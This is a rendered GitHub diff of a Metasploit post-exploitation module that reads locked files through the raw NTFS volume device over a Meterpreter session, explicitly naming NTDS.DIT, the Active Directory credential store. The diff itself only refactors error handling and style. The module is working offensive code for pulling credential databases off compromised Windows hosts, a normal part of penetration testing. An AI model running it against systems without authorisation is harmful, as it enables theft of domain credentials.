3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
+ require 'rex/parser/fs/ntfs'
7
+
6
8
class Metasploit3 < Msf ::Post
7
9
include Msf ::Post ::Windows ::Priv
8
- require "rex/parser/fs/ntfs"
9
10
10
11
def initialize ( info = { } )
11
12
super ( update_info ( info ,
12
13
'Name' => 'Windows File Gathering In Raw NTFS' ,
13
- 'Description' => %q{
14
+ 'Description' => %q(
14
15
This module gather file using the raw NTFS device, bypassing some Windows restriction.
15
16
Gather file from disk bypassing restriction like already open file with write right lock.
16
- Can be used to retreive file like NTDS.DIT
17
- } ,
17
+ Can be used to retreive file like NTDS.DIT) ,
18
18
'License' => 'MSF_LICENSE' ,
19
19
'Platform' => [ 'win' ] ,
20
20
'SessionTypes' => [ 'meterpreter' ] ,
21
- 'Author' => [ 'Danil Bazin <danil.bazin[at]hsc.fr>' ] , #@danilbaz
21
+ 'Author' => [ 'Danil Bazin <danil.bazin[at]hsc.fr>' ] , # @danilbaz
22
22
'References' => [
23
23
[ 'URL' , 'http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/' ]
24
24
]
25
25
) )
26
+
26
27
register_options (
27
28
[
28
29
OptString . new ( 'FILE_PATH' , [ true , 'The FILE_PATH to retreive from the Volume raw device' , nil ] )
@@ -32,46 +33,46 @@ def initialize(info = {})
32
33
def run
33
34
winver = sysinfo [ "OS" ]
34
35
35
- if winver =~ /2000/i
36
- print_error ( "Module not valid for Windows 2000" )
37
- return
38
- end
39
-
40
- unless is_admin?
41
- print_error ( "You don't have enough privileges" )
42
- return
43
- end
36
+ fail_with ( Exploit ::Failure ::NoTarget , 'Module not valid for Windows 2000' ) if winver =~ /2000/
37
+ fail_with ( Exploit ::Failure ::NoAccess , 'You don\'t have administrative privileges' ) unless is_admin?
44
38
45
39
file_path = datastore [ 'FILE_PATH' ]
46
40
47
41
r = client . railgun . kernel32 . GetFileAttributesA ( file_path )
48
42
49
43
if r [ 'GetLastError' ] != 0
50
- print_error ( "The file does not exist, use file format C:\\ \\ Windows\\ \\ System32\\ \\ drivers\\ \\ etc\\ \\ hosts" )
51
- return nil
44
+ fail_with (
45
+ Exploit ::Failure ::BadConfig ,
46
+ 'The file does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts'
47
+ )
52
48
end
53
49
54
50
drive = file_path [ 0 , 2 ]
55
51
56
- r = client . railgun . kernel32 . CreateFileA ( "\\ \\ .\\ #{ drive } " , "GENERIC_READ" , "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE" ,
57
- nil , "OPEN_EXISTING" , "FILE_FLAG_WRITE_THROUGH" , 0 )
52
+ r = client . railgun . kernel32 . CreateFileA ( "\\ \\ .\\ #{ drive } " ,
53
+ 'GENERIC_READ' ,
54
+ 'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE' ,
55
+ nil ,
56
+ 'OPEN_EXISTING' ,
57
+ 'FILE_FLAG_WRITE_THROUGH' ,
58
+ 0 )
58
59
59
60
if r [ 'GetLastError' ] != 0
60
- print_error ( "Error opening #{ drive } GetLastError=#{ r [ 'ErrorMessage' ] } " )
61
- return nil
61
+ fail_with (
62
+ Exploit ::Failure ::Unknown ,
63
+ "Error opening #{ drive } . Windows Error Code: #{ r [ 'GetLastError' ] } - #{ r [ 'ErrorMessage' ] } " )
62
64
end
65
+
63
66
@handle = r [ 'return' ]
64
67
print_status ( "Successfuly opened #{ drive } " )
65
68
begin
66
69
fs = Rex ::Parser ::NTFS . new ( self )
67
- print_status ( "Trying gather #{ file_path } " )
70
+ print_status ( "Trying to gather #{ file_path } " )
68
71
path = file_path [ 3 , file_path . length - 3 ]
69
72
data = fs . file ( path )
70
73
file_name = file_path . split ( "\\ " ) [ -1 ]
71
74
stored_path = store_loot ( "windows.file" , 'application/octet-stream' , session , data , file_name , "Windows file" )
72
75
print_good ( "Saving file : #{ stored_path } " )
73
- rescue ::Exception => e
74
- print_error ( "Post failed : #{ e . backtrace } " )
75
76
ensure
76
77
client . railgun . kernel32 . CloseHandle ( @handle )
77
78
end
0 commit comments